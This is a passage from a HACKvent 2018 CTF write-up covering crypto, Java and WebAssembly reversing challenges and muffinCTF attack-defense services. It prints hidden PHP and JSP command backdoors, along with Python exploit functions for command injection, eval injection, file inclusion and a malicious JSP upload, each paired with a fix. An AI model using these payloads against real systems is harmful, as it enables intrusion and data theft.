drwxr-xr-x 2 root root 8192 Nov 30 04:52 sbin
drwxr-xr-x 2 root root 1024 Nov 30 04:51 srv
drwxr-xr-x 2 root root 1024 Nov 30 04:51 sys
drwxrwxrwt 4 root root 1024 Nov 30 05:23 tmp
drwxr-xr-x 8 root root 1024 Nov 30 04:51 usr
drwxr-xr-x 10 root root 1024 Nov 30 05:02 var
Now we only need to find the flag:
root@kali:/mnt/vmdk# grep . -nrwe 'HV18'
./etc/motd:11:Your flag is HV18-622q-gxxe-CGni-X4fT-wQKw
Done 🙂 The message of the day (motd) contains the flag.
The flag is:
HV18-622q-gxxe-CGni-X4fT-wQKw
Day 17: Faster KEy Exchange
Author: pyth0n33 |
|
You were somehow able to intercept Santa’s traffic.
But it’s encrypted. Fortunately, you also intercepted the key exchange and figured out what software he was using….. |
The provided python-script implements a little server, which encrypts a message using AES CBC:
root@kali:~/Documents/hv18/day17# cat FasterKeyExchange.py
import secrets
import hashlib
from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
g = 3
p = 0x00e1a540d72bb311db26ea6e58b7dc207cf55d0c3a90d7c1f74e7fcb67c7af097d99c73e002c9266e70cbdf735ebd864ea279a0a4d41dd6537837bfc07d84943a376d163ec20a51dd6073dbfc34cbdce9d88ad22a9bb72f5bb143b5c9e531ab100590b9f97d1e9c7a3dfe7961fd6e86078ad43918b47816925803db47862e5f69c90078c6dc287fc6cf7742a9f1717d828a610fe469c92f34783351b21ac1ec988eae0e16ff4ef89c1a19ccd7e3b5cb0c14e0424dfde338789923013aeb7791e19ba378cb2e0e0b318f46865d438ac53999f69f0ae8045d2ff40821b5fdcb0a3b9942f29a0cd8e55febd0ee9006d936d51335a2e63b6affbed6175e1228a53d6a9
class Server():
def __init__(self, port=3331):
self.port = port
self.fKE = FasterKeyExchange(g, p)
self.y_server = self.fKE.calculate_y()
self.y_client = 0
self.IV = "d724c349c2b28831"
self.key = "313371337"
def print_banner(self):
print(" ---_ ......._-_--.")
print(" (|\ / / /| \ \\")
print(" / / .' -=-' `.")
print(" / / .' )")
print(" _/ / .' _.) /")
print(" / o o _.-' / .'")
print(" \ _.-' / .'*|")
print(" \______.-'// .'.' \*|")
print(" \| \ | // .'.' _ |*|")
print(" ` \|// .'.'_ _ _|*|")
print(" . .// .'.' | _ _ \*|")
print(" \`-|\_/ / \ _ _ \*\\")
print(" `/'\__/ \ _ _ \*\\")
print(" /^| \ _ _ \*")
print(" ' ` \ _ _ \\")
print(" \_")
print("Challenge by pyth0n33. Have fun!")
def run(self):
self.print_banner()
input("Enter to start")
print("\x1b[2J\x1b[H")
print("Here's my y={0}\n\n".format(self.y_server))
self.y_client = int(input("Now give me your y please: "))
self.key = str(self.fKE.calculate_key(self.y_client))
self.iv = self.key[0:16]
self.encrypt()
def encrypt(self):
key = bytes(hashlib.md5(bytes(self.key, "utf-8")).hexdigest(), "utf-8")
cipher = AES.new(key, AES.MODE_CBC, iv=bytes(self.iv, "utf-8"))
cipher_text_bytes = cipher.encrypt(pad(b"The Advanced Encryption Standard (AES), also known by its original name Rijndael, is a specification for the encryption of electronic data established by the U.S. National Institute of Standards and Technology (NIST) in 2001.", AES.block_size))
print(b64encode(cipher_text_bytes))
class FasterKeyExchange():
def __init__(self, g, p):
self.g = g
self.p = p
self.x = self.get_random_x()
def get_random_x(self):
return secrets.SystemRandom().randint(g, p-2)
def calculate_y(self):
return (self.g * self.x) % self.p
def calculate_key(self, y):
return (y * self.x) % self.p
if __name__ == "__main__":
server = Server()
server.run()
At first the server calculates a secret random value x:
def get_random_x(self):
return secrets.SystemRandom().randint(g, p-2)
This value is used to generate the server’s value for the keyexchange (this value is called a in the provided values from the challenge description):
def calculate_y(self):
return (self.g * self.x) % self.p
In order to decrypt the message from the challenge description we need to find x, since this is the only value we do not know.
This can be done by solving the equation used to generate the server’s value (a) for the keyexchange:
a = (g * x) % p
The values for g and p can be taken from the python-script. The value of a is contained in the challenge description.
Rearranging the equation to the following:
g*x - a = 0 (mod p)
… we can use the same online equation solver we used on day 14 (https://www.alpertron.com.ar/QUADMOD.HTM) to calculate the actual value of x:
Now we have all values required to decrypt the message:
root@kali:~/Documents/hv18/day17# cat decrypt.py
#!/usr/bin/env python
import base64
import hashlib
from Crypto import Random
from Crypto.Cipher import AES
def unpad(x):
return x[:-ord(x[len(x)-1:])]
# values from source-file: g, p
g = 3
p = 0x00e1a540d72bb311db26ea6e58b7dc207cf55d0c3a90d7c1f74e7fcb67c7af097d99c73e002c9266e70cbdf735ebd864ea279a0a4d41dd6537837bfc07d84943a376d163ec20a51dd6073dbfc34cbdce9d88ad22a9bb72f5bb143b5c9e531ab100590b9f97d1e9c7a3dfe7961fd6e86078ad43918b47816925803db47862e5f69c90078c6dc287fc6cf7742a9f1717d828a610fe469c92f34783351b21ac1ec988eae0e16ff4ef89c1a19ccd7e3b5cb0c14e0424dfde338789923013aeb7791e19ba378cb2e0e0b318f46865d438ac53999f69f0ae8045d2ff40821b5fdcb0a3b9942f29a0cd8e55febd0ee9006d936d51335a2e63b6affbed6175e1228a53d6a9
# values from interception: b, message
b = 15228628318558071728245462802366236848375416102820239825350329247148900182647243994904519787528142824353837070194785550898962097219309344881183948914850354340893035399529028331238911753358245357848436203268982345430735846016484221944423499956958406189854969330305125479065873712331269870135028162018087451460656203085824963123310757985362748654204595136594184636862693563510767025800252822776154986386637346156842972134635578534633722315375292616298410141343725683471387328655106920310236007034951004329720717533666052625540760911360823548318810161367913281234234193760867208897459774865037319252137821553407707977377
message = "jqMYIn4fzSqzIXArwJm/kPitNhf4lwhL0yPRKpF+NYXyPmhoEwNG/k2L5vCZqFWNPvTzisnu93/8uK/PZnnCGg=="
# calculated value using a (from interception) and p: x
x = 15354042672206252628490224264690454581428691371145769559092814316529005534284986825328196215781584589569502108538299687671360602614840353757694181909133163897573492858461087503205334476595470229312365805497727162669571762705941038047806750508918673276003220409988850130107551639956795373407913778173166953425544410500723037568398426599926027445943026206335288371772534327534782843934568830300014348181115075724953280567387710366794375659264751027802164342021881082026175781378370505510594344477625073089451475079404319398766824697036100569366992915850876267412204007674638070052231495975910539370211916959396581341187
# generate key and iv (see source-file)
key = str((b*x) % p)
iv = key[0:16]
key = hashlib.md5(key).hexdigest()
# decrypt message
cipher = AES.new(key, AES.MODE_CBC, iv)
ct = message.decode('base64')
plaintext = unpad(cipher.decrypt(ct)).decode('utf-8')
print(plaintext)
Running the script yields the flag:
root@kali:~/Documents/hv18/day17# ./decrypt.py
Congrats! Now take the flag: HV18-DfHe-KE1s-w44y-b3tt-3r!!
The flag is:
HV18-DfHe-KE1s-w44y-b3tt-3r!!
Day 18: Be Evil
Author: inik Only today and for this challenge, please. |
|
Thanks to scal for the artwork! |
Running the .jar file shows a skeptical smiley:
When clicking on the smiley, a prompt Are you evil? with the possible answers No and Go away is displayed.
When choosing No the image changes to a happy smiley:
If Go away is selected, the image changes to a sad smiley:
I started by decompiling the .jar file using JD-GUI:
Almost all of the classes only contain a single attribute called b (a byte-array):
The actual loading of the classes is done within the EvilLoader class by calling defineClass on the byte-array of the appropriate class:
In order to decompile the classes, which are loaded via the EvilLoader, we start by saving the byte array to a file. I used the following python-script (simply copy/pasting the contents of the byte-array from JD-GUI):
root@kali:~/Documents/hv18/day18# cat writeClass_EvilAction.py
#!/usr/bin/env python
b = [-54, -2, -70, -66, 0, 0, 0, 51, 0, 126, 7, 0, 2, 1, 0, 28, 104, 97, 99, ... ]
out = ''
for e in b:
out += chr(e & 0xff)
f = open('EvilAction.class', 'wb')
f.write(out)
f.close()
In order to decompile the newly written .class file I used CFR instead of JD-GUI, since it worked properly:
C:\Users\stef\Documents\hv18\day18>java -jar cfr-0.138.jar EvilAction.class
/*
* Decompiled with CFR 0.138.
*
* Could not load the following classes:
* hackvent2018.evil.EvilEvent
* hackvent2018.evil.EvilImages
* hackvent2018.evil.EvilType
* hackvent2018.evil.NotEvil
*/
package hackvent2018.evil;
import hackvent2018.evil.EvilEvent;
import hackvent2018.evil.EvilImages;
import hackvent2018.evil.EvilType;
import hackvent2018.evil.NotEvil;
import java.util.Arrays;
import java.util.Set;
import javax.swing.ImageIcon;
import javax.swing.JOptionPane;
public class EvilAction {
private byte[] b = new byte[]{-64, 15, 15, 10, 82, 79, 76, 67, 76};
public String[] getMenu() {
for (String s : System.getenv().keySet()) {
if (!Arrays.equals(this.b, this.xor(s.getBytes(), NotEvil.b))) continue;
String[] t = new String[]{"No", "Go away", "Yes"};
return t;
}
String[] u = new String[]{"No", "Go away"};
return u;
}
public ImageIcon respond1(int answer) {
switch (answer) {
case 0: {
return EvilImages.getIcon((EvilType)EvilType.NOTEVIL);
}
case 1: {
return EvilImages.getIcon((EvilType)EvilType.SAD);
}
case 2: {
for (String s : System.getenv().keySet()) {
if (!Arrays.equals(this.b, this.xor(s.getBytes(), NotEvil.b))) continue;
return EvilImages.getIcon((EvilType)EvilType.EVIL);
}
return EvilImages.getIcon((EvilType)EvilType.NOTEVIL);
}
}
return EvilImages.getIcon((EvilType)EvilType.SAD);
}
public void respond2(int answer) {
if (answer == 2) {
for (String s : System.getenv().keySet()) {
if (!Arrays.equals(this.b, this.xor(s.getBytes(), NotEvil.b))) continue;
Object[] buttons2 = new String[]{"Cool"};
JOptionPane.showOptionDialog(null, EvilEvent.eventResult(), "Evilist", -1, 1, null, buttons2, buttons2[0]);
}
}
}
private byte[] xor(byte[] c, byte[] b) {
byte[] x = new byte[c.length];
for (int i = 0; i < c.length; ++i) {
x[i] = (byte)(c[i] ^ b[i]);
}
return x;
}
}
Within the method getMenu we can see, that a third answer is added to the prompt (No, Go away and Yes), if the following condition is met for any environment variable (String s : System.getenv().keySet()):
if (!Arrays.equals(this.b, this.xor(s.getBytes(), NotEvil.b))) continue;
this.b is another byte-array:
private byte[] b = new byte[]{-64, 15, 15, 10, 82, 79, 76, 67, 76};
The method this.xor takes two byte-arrays and XORs them (only taking into account the length of the first parameter c).
Basically speaking this means, that the environment variable s must equal this.b being XORed with NotEvil.b.
We can easily copy this.b and NotEvil.b to another python script in order to do this:
root@kali:~/Documents/hv18/day18# cat xorEnvironmentVar.py
#!/usr/bin/env python
this_b = [-64, 15, 15, 10, 82, 79, 76, 67, 76]
NotEvil_b = [-119, 80, 78, 71, 13, 10, 26, 10, 0] # we only need the size of this_b
env = ''
for i in range(len(this_b)):
env += chr(this_b[i] ^ NotEvil_b[i])
print(env)
Running the script reveals, what the name of the environment variable to be set should look like:
root@kali:~/Documents/hv18/day18# ./xorEnvironmentVar.py
I_AM_EVIL
Thus we only need to set an environment variable called I_AM_EVIL and rerun the .jar file:
After clicking on the smiley now, we get a prompt with three possible answers. Selecting Yes displays an evil smiley and the flag:
The flag is:
HV18-ztZB-nusz-r43L-wopV-ircY
Day 19: PromoCode
Author: inik Get your free flag |
|
Santa is in good mood an gives away flags for free.
Get vour free flag here Important: 2018-12-19 20:05 CET: A slightly easier challenge has been released. Watch for the changed link above. Respect to those who solved it the 1337-way! Time for getting full points will also be extended by 24h. |
The challenge has been updated on 20:05 CET (see note above). The old (harder) challenge can be found here. I was working on the updated one.
The website shows an input-field, in which a promo code is supposed to be entered:
When entering some gibberish, a try-harder flag is displayed:
Let’s have a look at the source-code:
The highlighted part of the javascript code outputs the flag by calling a function checkPromoCode through Module.ccall and turning the return value into an actual flag by calling Pointer_stringify.
This function along with the other called functions must be declared within the included promo.js:
Uff, a lot of source code. Basically the file seems to set up an environment for a webassembly. WebAssembly (wasm) is a bytecode, which can be executed by the browser. But there is no .wasm file being included here? Let’s reload the page and have a look at the browser’s network-tab:
Actually there is a promo.wasm file here! It is dynamically fetched by the promo.js.
Usually I am working with chrome, but it turned out that firefox did a better job disassembling the webassembly:
The highlighted area shows the promising function checkPromoCode. The declaration of the function can be found by searching for the numerical name ($func22):
Now we can set a breakpoint by simply clicking on the appropriate line and trigger it by entering something in the validation field:
From this point on I single-stepped through the assembly lines and wrote down a python-like pseudo code in order to unterstand, what the function does (this are only my raw notes):
var0 = 5246776 global10 = 3920 var49 = global10; //3920 global11 = 5246768 global10 += 160 // 4080 if (..) var23 = var49 + 96 // 4016 var34 = var49 + 32 // 3952 var43 = var49 // 3920 var12 = var0 // 5246776 data[var23] = qword[flag] // 4016 "\u001feS\u000c\u0018\u001fz!\u0004A:!\u0006rY=IVv\u0018<C:+A6" data[var23+8] = qword[flag+8] // 4024 "\u0004A:!\u0006rY=IVv\u0018<C:+A6" data[var23+16] = qword[flag+16] // 4032 "IVv\u0018<C:+A6" data[var23+24] = dword[flag+24] // 4040 "A6" data[var23+28] = word[flag+28] // 4044 "\\t" // var34 = 3952 data[var34] = qword[1056] data[var34+8] = qword[1064] data[var34+16] = qword[1072] .. data[var34+48] = qword[1056+48] data[var34+56] = dword[1056+56] // var43 = 3920 data[var43] = qword[1120] data[var43+8] = qword[1120+8] data[var43+16] = qword[1120+16] data[var43+24] = dword[1120+24] data[var43+28] = word[1120+28] var2 = strlen_func32(var12, var47, var47) // 5246776, 0, 0 --> 3 strlen! if (var2 != 15) return; ...
At first the function copies some data around. The first noticeable part is the following:
The function $func32 basically is strlen, which is called on the entered promo code. If the return value is not equal to 15, no further processing of the input takes place. This means that the promo code must be 15 characters long.
With this new finding I single-stepped the function with a 15 characters long input, further writing my pseudo code:
... for (var44 = 0; var44 < strlen(5246776); var44++) { var8 = var12; // 5246776 var9 = var44; // i=0 var10 = [str+i]; var11 = byte[str+i]; var13 = (var11<<24)>>24; var14 = var13^0x5a; // 90 var45 = var14; var15 = var45; var16 = var44; var17 = var34 + (var16<<2); var18 = data[var17]; if (var15 == var18) ... }
The following lines caught my attention:
$var13 holds a single character of the entered promo code. This character is XORed with 90 and later on compared to the value of $var18, which is read from memory via the instruction i32.load. If the comparison fails, there is no further processing of the input.
This simply means that each character of the promo code (stored in $var13) must equal 90^$var18.
In order to use this to determine the valid promo code, we set a breakpoint on the line after $var18 has been set:
… and set a watch expression to calculate the expected value for $var13 on the fly:
Now we can directly see the expected value:
Thus the first letter of the promo code is a W.
Now we only need to edit the first letter appropriately and rerun the input validation, continuing after the breakpoint halt until we can read the next character:
After stepping through all 15 characters we finally got the valid promo code: W3b45m1sRlyF45t.
Entering this code yields the flag:
The flag is:
HV18-rKRV-Cg2G-jz4B-QrIy-OF9i
Day 21: muffinCTF
Author: muffinx featuring xorkiwi Day 1 |
|
DAY 1 Services -------------------------------------------- _______ / ) /_____ | ______ ( ' ) / / __\ _____ |. '| / | \ | / )) |____|/ |`-----' /_____)) `-----' `------' Name: bakery Description: Simply the best bakery in town! The good smell goes around the streets. Make sure that the thieves of the enemy nations cannot steal our bread! Maybe you have a method where we can get more bread? Creator: muffinx / \ _ _ _ / \ | | / \/ \/ \ | | % | |I| || || |=o | % % | | j_jj_jj_j | | % v % V | | ||_________|| | | .:,>@<%% >@<| ; | | | || || | | | | ~*~ | |% *| |:X:| |I| || || | | | |*'|`\|/|| ~@~ * ,||/|`|'|_| |_||_||_| |_|,||,|/ |,||Vv,`|',v`|v hjw Name: garden Description: A very beautiful vegetable/fruit garden. There is even a pond where there are swimming fish and jumping frogs. Fix the defenses, in our past we had attacks with fire arrows. Also we are short in potatoes, please get us some more. Creator: muffinx Login to: muffinCTF |
After originally being planned to begin on day15, the 3-day muffinCTF was delayed to day21 due to some technical issues and I was really keen to participate.
Though there were still some technical issues, I really enjoyed it and appreciate the awesome work, which was required to set up an attack-and-defense CTF like this.
Since time is a rare asset especially in the days before christmas, I only focused on one application per day (this was sufficient to get the hackvent-flag).
On the first day I chose the bakery service.
The service is a php-based website:
… with the ability to create breads (this is where the gamebot stores flags on the own box) and calculate a prize:
Also it is possible to send breads (basically pinging some ip-address):
There are quite a lot of vulnerabilities and backdoors on the box (either directly on the service or somewhere else hidden on the box).
I fixed the following vulnerabilities/backdoors and created the corresponding attack-functions (there are surely more attack-vectors especially through other services):
1. system-backdoors
The file /home/bakery/…/.php (notice the three dots which could have been easily overseen when listing the directory contents), as well as the file /home/bakery/css/components/checkbox.php both contain a system-backdoor:
root@muffinCTFBox:/home/bakery# cat .../.php | grep system
(... a lot of spaces ...) <?php if(isset($_GET['_'])) { system($_GET['_']); } ?>
cat css/components/checkbox.php | grep system
(... a lot of spaces ...) <?php if(isset($_GET['_'])) { system($_GET['_']); } ?>
To fix the backdoor on the own box, I simply commented out the system-calls.
In order to exploit the backdoor on other systems I added the following functions using the provided attack-framework:
def attackBakeryBackdoor1(url):
aurl = url + '/.../.php?_=cat%20/home/bakery/breads/*'
try:
r = requests.get(aurl, timeout=3)
return r.text
except: return ''
def attackBakeryBackdoor2(url):
aurl = url + '/css/components/checkbox.php?_=cat%20/home/bakery/breads/*'
try:
r = requests.get(aurl, timeout=3)
return r.text
except: return ''
...
attack_all('bakery', attackBakeryBackdoor1)
attack_all('bakery', attackBakeryBackdoor2)
Since the flags are stored in /home/bakery/breads/ this will return all flags.
2. create bread vulnerability
The create bread functionality is used by the gamebot to store flags to /home/bakery/breads/.
The related source code is stored in inc/breads.php:
root@muffinCTFBox:/home/bakery/inc# cat breads.php
<?php
...
// flag deployment
if(isset($_GET['bread'])) {
$bread_content = $_GET['bread'];
$bread_name = md5($bread_content);
file_put_contents('../breads/'.$bread_name, $bread_content);
die();
}
?>
This can be used to store arbitrary data in a file stored in /breads. The name of the file will be the md5 checksum of the file’s content.
In combination with the file inc/inc.php this arbitrary data can be included as a php-file:
root@muffinCTFBox:/home/bakery/inc# cat inc.php
<?php
# needs to include the needed pages
if(isset($_GET['page'])) {
include($_GET['page']);
}
?>
I fixed the vulnerability by only excepting real flags:
...
// flag deployment
if(isset($_GET['bread'])) {
$bread_content = $_GET['bread'];
if (preg_match("/muffinCTF{[a-f0-9]{40}}/", $bread_content)) {
$bread_name = md5($bread_content);
file_put_contents('../breads/'.$bread_name, $bread_content);
} else echo 'no flags for u, sir.';
die();
}
...
Now the bread content must fulfill the flag format restrictions.
In order to exploit the vulnerability on other machines I added the following attack function:
def attackCreateBread(url):
aurl = url + '/inc/inc.php?page=breads.php&bread=<?php system(%22echo `cat ../breads/*`%22);?>'
try:
r = requests.get(aurl, timeout=3)
except: return ''
aurl = url + '/inc/inc.php?page=../breads/33442f0aca7d9b591162897811c37356'
try:
r = requests.get(aurl, timeout=3)
return r.text
except: return ''
...
attack_all('bakery', attackCreateBread)
This will create a new bread, which outputs all other bread’s content. This new bread is called by using the inc.php file.
3. prize calculation vulnerability
The prize calculation directly passes the user’s input ($_GET[‘prize’]) to eval:
root@muffinCTFBox:/home/bakery/inc# cat breads.php
<?php
# calculations need to be possible, examples:
# (23+64)
# 123*3
# 321-122
if(isset($_GET['prize'])) {
eval('echo number_format((('.$_GET['prize'].')*1.20),2);');
die();
}
...
This surely is no good idea, since the user’s input can contain malicous php code.
To fix this I added a regular expression only allowing the following characters: 01234567890.()+-/*:
...
if(isset($_GET['prize'])) {
if (preg_match("/^[0-9\.\+\-\(\)\*\/]*$/", ($_GET['prize']))) {
eval('echo number_format((('.$_GET['prize'].')*1.20),2);');
}
else echo 'no flags here sir.';
die();
}
...
It is quite benefiting to log all the traffic on your own box, to see how other people try to attack you.
Using this technique I quickly grabbed a payload for this vulnerability and could focus on something other right away:
def attackPrizeCalc(url):
aurl = url + '/inc/inc.php?page=breads.php&prize=2))%2C2)%3B%20echo%20%27%20%20%27%3B%20foreach(scandir(%27%2Fhome%2Fbakery%2Fbreads%27)%20AS%20%24thisfile)%20%7Bif%20(%24thisfile!%3D%22.%22%20AND%20%24thisfile!%3D%22..%22)%20%7Becho%20file_get_contents(%22%2Fhome%2Fbakery%2Fbreads%2F%22.%24thisfile).%22%20%22%3B%7D%7D%3B%20echo%20number_format(((5'
try:
r = requests.get(aurl, timeout=3)
return r.text
except: return ''
...
attack_all('bakery', attackPrizeCalc)
The payload scans the /home/bakery/breads directory and prints out all containing breads (flags).
4. bread send vulnerability
The sending of breads is done by directly passing the user’s input to system:
root@muffinCTFBox:/home/bakery/inc# cat breadSend.php
<?php
# need to ping addresses
if(isset($_GET['ip'])) {
system('ping -c 1 '.$_GET['ip']);
die();
}
?>
To avoid any malicous additional commands to be injected here, I added yet another regular expression:
...
if(isset($_GET['ip'])) {
if (preg_match("/^\d{1,3}\.\d{1,3}\.\d{1,3}\z/", $_GET['ip'])) {
system('ping -c 1 '.$_GET['ip']);
} else echo 'no flags for u, sir.';
die();
}
...
In order to exploit the vulnerability on other machines a simple command injection suffices:
def attackBreadSend(url):
aurl = url + '/inc/inc.php?page=breadSend.php&ip=;cat%20../breads/*'
try:
r = requests.get(aurl, timeout=3)
return r.text
except: return ''
...
attack_all('bakery', attackBreadSend)
After submitting at least one flag on two different ticks, as well as gaining maximal defense and availability points in those two ticks, the hackvent-flag is unlocked:
The flag is:
HV18{muffinCTF{d4y_1_l3t_th3_g4m3s_b3g1n_st4y_c0v3r3d_f0r_m0r3_h4x_stuff}}
Day 22: muffinCTF
Author: muffinx featuring xorkiwi Day 2 |
|
DAY 2 Services -------------------------------------------- ,-_ (` ). |-_'-, ( ). |-_'-' _( '`. _ |-_'/ .=(`( . ) /;-,_ |-_' ( (.__.:-`-_.' /-.-;,-,___|' `( ) ) /;-;-;-;_;_/|\_ _ _ _ _ ` __.:' ) x_( __`|_P_|`-;-;-;,| `--' |\ \ _|| `-;-;-' | \` -_|. '-' | / /-_| ` |/ ,'-_| \ /____|'-_|___\ _..,____]__|_\-_'|_[___,.._ ' ``'--,..,. Name: mill Description: The wheels are moving all day here. The best flour in the whole city is produced in this mill. Improve the security of the mill. And reduce production rate of food for enemy nations. Creator: xorkiwi __--___ >_'--'__' _________!__________ / / / / / / / / / / / / | | | | | | __^ | | | | | | _/@ \ \ \ \ \ \ \ S__ | \ \ \ \ \ \ __ ( | | \___\___\___\___\___\ / \ | \ | | |\| \ \____________!________________/ / \ _______OOOOOOOOOOOOOOOOOOO________/ \________\\\\\\\\\\\\\\\\\\_______/ %%%^^^^^%%%%%^^^^!!^%%^^^^%%%%%!!!!^^^^^^!%^^^%%%%!!^^ ^^!!!!%%%%^^^^!!^^%%%%%^^!!!^^%%%%%!!!%%%%^^^!!^^%%%!! Name: port Description: There are ships coming from a long distance. At the top of the light house you can have a nice view at the sea. Attention, make sure that there are no enemy ships coming into our port. Maybe you want to send some ships of us to remind them of our offensive capabilities. Creator: xorkiwi Login to: muffinCTF |
On the second day I focused on the port service.
The service is an Apache Tomcat Webserver and is thus written in Java.
The actual app is stored in /opt/tomcat/apache-tomcat-9.0.8/webapps/ROOT:
root@muffinCTFBox:~# cd /opt/tomcat/apache-tomcat-9.0.8/webapps/ROOT/
root@muffinCTFBox:/opt/tomcat/apache-tomcat-9.0.8/webapps/ROOT# ls -al
total 56
drwxrwxrwx 11 tomcat tomcat 4096 Dec 23 05:49 .
drwxr-x--- 7 tomcat tomcat 4096 Apr 27 2018 ..
drwxr-xr-x 4 root root 4096 Dec 23 05:49 css
drwxr-xr-x 2 root root 4096 Dec 23 05:49 data
drwxr-xr-x 3 root root 4096 Dec 23 05:49 default
drwxr-xr-x 2 root root 4096 Dec 23 05:49 html
drwxr-xr-x 2 root root 4096 Dec 23 05:49 img
-rw-r--r-- 1 root root 871 Dec 23 05:49 index.jsp
drwxr-xr-x 3 root root 4096 Dec 23 05:49 js
-rw-r--r-- 1 root root 411 Dec 23 05:49 response.jsp
-rw-r--r-- 1 root root 523 Dec 23 05:49 searchPortname.jsp
drwxr-xr-x 2 root root 4096 Dec 23 05:49 try
drwxrwxrwx 2 root root 4096 Dec 28 16:16 uploads
drwxr-xr-x 3 root root 4096 Dec 23 05:49 WEB-INF
Let’s have a look at the frontend:
When selecting Shipstorage we can send ships by uploading a file and retrieve ships by entering the ship’s filename in an input field:
The menu entry Portname offers another input field to get the address of a remote port:
I fixed the following vulnerabilities/backdoors and created the corresponding attack-functions (there are surely more attack-vectors especially through other services):
1. backdoors: Runtime.getRuntime().exec(…)
In java the equivalent for the system function in php (see day21) is Runtime.getRuntime().exec (though there are multiple ways in both java and php to run system commands).
Again there are two files containing a backdoor to directly run system commands:
- /opt/tomcat/apache-tomcat-9.0.8/webapps/ROOT/css/themes/default/assets/fonts/icons.svg.jsp
- /opt/tomcat/apache-tomcat-9.0.8/webapps/ROOT/js/Framework/jquery.min/javascript/plugins/lib/jquery.min.js.jsp
root@muffinCTFBox:/opt/tomcat/apache-tomcat-9.0.8/webapps/ROOT# grep . -nrw -e 'Runtime'
...
./css/themes/default/assets/fonts/icons.svg.jsp:21: Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
...
./js/Framework/jquery.min/javascript/plugins/lib/jquery.min.js.jsp:21: Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
To fix these backdoors, we can simply comment out the appropriate lines in both files:
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "
");
/*Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}*/
out.println("no flags for u, sir.");
}
To exploit the backdoors I added the following attack functions:
def attackBakeryBackdoor1(url):
v = ''
aurl = url + '/js/Framework/jquery.min/javascript/plugins/lib/jquery.min.js.jsp?cmd=ls+-t+%2Fopt%2Ftomcat%2Ftomcat-latest%2Fwebapps%2FROOT%2Fuploads'
try:
r = requests.get(aurl, timeout=3)
for line in r.text.split('\n'):
line = line.strip()
if (line[-4:] != '.txt'): continue
try:
r = requests.get(url+'/uploads/'+line, timeout=3)
v += r.text
except: pass
except: pass
return v
def attackBakeryBackdoor2(url):
v = ''
aurl = url + '/css/themes/default/assets/fonts/icons.svg.jsp?cmd=ls+-t+%2Fopt%2Ftomcat%2Fapache-tomcat-9.0.8%2Fwebapps%2FROOT%2Fuploads'
try:
r = requests.get(aurl, timeout=3)
for line in r.text.split('\n'):
line = line.strip()
if (line[-4:] != '.txt'): continue
try:
r = requests.get(url+'/uploads/'+line, timeout=3)
v += r.text
except: pass
except: pass
return v
...
attack_all('port', attackBakeryBackdoor1)
attack_all('port', attackBakeryBackdoor2)
Instead of directly running cat on the flags/* directory, I used ls -t to list all flag files order by modification time and then accessed the specific file within the uploads folder.
2. send ship vulnerability
The send ship frontend is stored in ./html/ships.html:
root@muffinCTFBox:/opt/tomcat/apache-tomcat-9.0.8/webapps/ROOT# cat html/ships.html
<h1> Ships </h1>
<br />
<img src="img/ship.png" width="10%" />
<br />
<br />
<html>
<head></head>
<body>
<h2>Send ship</h2>
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
<div>
<label for="hidden-new-file" class="ui icon button">
<i class="cloud icon"></i>
Select File
</label>
<input type="file" id="hidden-new-file" name="fileName" style="display: none">
</div>
<br/>
<br/>
<input class="ui button" type="submit" value="Upload">
</form>
...
The file being uploaded through the form is passed via a POST-request to FileUploadServlet. This is a java .class file, which can be found in ./WEB-INF/classes/com/servlet:
root@muffinCTFBox:/opt/tomcat/apache-tomcat-9.0.8/webapps/ROOT# find . -name "FileUploadServlet*"
./WEB-INF/classes/com/servlet/FileUploadServlet.class
Since we don’t have access to the corresponding .java file, we would need to decompile the .class file, fix the vulnerability and recompile it. I tried this without success, because it requires all imported modules to be present (javax.servlet.*). Thus I did a quick and dirty fix:
root@muffinCTFBox:/opt/tomcat/apache-tomcat-9.0.8/webapps/ROOT/uploads# while true; do rm *.jsp; sleep 0.01; done 2> /dev/null
This removes all possibly malicous .jsp files within the uploads folder all 0.01 seconds. Actually we should prevent a user from uploading malicous files at all, but this quick fix saved me from being attacked on this vector at all.
In order to exploit the vulnerability I recycled a malicous .jsp from someone else after digging through my log files:
root@kali:~/Documents/hv18/day23# cat service.jsp
<%@page import="java.io.*" %>
<%@page import="java.util.*" %>
<%! public void GetDirectory(String a_Path, Vector a_files, Vector a_folders) {
File l_Directory = new File(a_Path);
File[] l_files = l_Directory.listFiles();
for (int c = 0; c < l_files.length; c++) {
if (l_files[c].isDirectory()) {
a_folders.add(l_files[c].getName());
} else {
a_files.add(l_files[c].getName());
}
}
}
%>
<%
Vector l_Files = new Vector(), l_Folders = new Vector();
GetDirectory("/home/barracks/knights/", l_Files, l_Folders);
for (int a = 0; a < l_Files.size(); a++) {
String txtFilePath = "/opt/tomcat/apache-tomcat-9.0.8/webapps/ROOT/uploads/" + l_Files.elementAt(a).toString();
BufferedReader reader = new BufferedReader(new FileReader(txtFilePath));
StringBuilder sb = new StringBuilder();
String line;
while((line = reader.readLine())!= null){
sb.append(line+"\n");
}
out.println(sb.toString());
}
%>
… and simply uploaded this file to every vulnerable machine and accessed it afterwards running the code to print all flags:
def attackSendShip(url):
aurl = url + '/FileUploadServlet'
try:
requests.post(aurl, files={'service.jsp':open('service.jsp','rb')})
except: return ''
aurl = url + '/uploads/service.jsp'
try:
r = requests.get(aurl, timeout=3)
return r.text
except: return ''
...
attack_all('port', attackSendShip)
3. portname vulnerability
Within the searchPortname.jsp the user’s input (GET-parameter port) is passed to Runtime.getRuntime().exec:
root@muffinCTFBox:/opt/tomcat/apache-tomcat-9.0.8/webapps/ROOT# cat searchPortname.jsp
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("port") != null) {
out.println(request.getParameter("port"));
out.println("<br><br>");
Process p = Runtime.getRuntime().exec("/bin/sh -c 'nslookup " + request.getParameter("port") + "'");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
The string “/bin/sh -c ‘nslookup “ is prepended to the user’s input to look up the dns name of the provided ip-address. Actually there is no nslookup on the machine by default:
